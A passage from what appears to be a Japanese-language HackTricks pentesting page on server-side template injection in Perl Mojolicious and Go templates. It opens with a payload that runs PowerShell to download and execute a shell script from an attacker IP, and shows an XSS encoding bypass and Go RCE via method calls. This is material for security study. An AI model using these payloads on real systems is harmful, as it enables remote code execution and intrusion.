<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

詳細

Mojolicious (Perl)

パールであっても、RubyのERBのようなタグを使用します。

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

GOにおけるSSTI

Goのテンプレートエンジンでは、特定のペイロードを使用してその使用を確認できます

  • {{ . }}: データ構造の入力を表示します。たとえば、Password属性を持つオブジェクトが渡された場合、{{ .Password }}でそれを公開できます。
  • {{printf "%s" "ssti" }}: 文字列 "ssti" を表示することが期待されています。
  • {{html "ssti"}}, {{js "ssti"}}: これらのペイロードは、"html"や"js"を追加せずに "ssti" を返すはずです。さらなる指示については、Goのドキュメントこちらを参照してください。

XSSの悪用

text/templateパッケージを使用すると、XSSを直接挿入することで簡単に行うことができます。一方、html/templateパッケージはこれを防ぐために応答をエンコードします(たとえば、{{"<script>alert(1)</script>"}}&lt;script&gt;alert(1)&lt;/script&gt;となります。ただし、Goでのテンプレートの定義と呼び出しはこのエンコードをバイパスできます{{define "T1"}}alert(1){{end}} {{template "T1"}}

RCEの悪用

RCEの悪用は、html/templatetext/templateの間で大きく異なります。text/templateモジュールでは、任意のパブリック関数を直接呼び出すことができます("call"値を使用)、これはhtml/templateでは許可されていません。これらのモジュールのドキュメントはhtml/template用のこちらおよびtext/template用のこちらで入手できます。

GoにおけるSSTIを介したRCEでは、オブジェクトのメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにSystemメソッドがコマンドを実行する場合、{{ .System "ls" }}のように悪用できます。これを悪用するには通常、ソースコードへのアクセスが必要です。与えられた例のように:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

詳細情報

その他の攻撃手法

他の攻撃手法については、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injectionをチェックしてください。また、興味深いタグ情報はhttps://github.com/DiogoMRSilva/websitesVulnerableToSSTIで見つけることができます。

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

関連するヘルプ

役立つと思われる場合は、以下を参照してください:

ツール

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

練習&参考

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法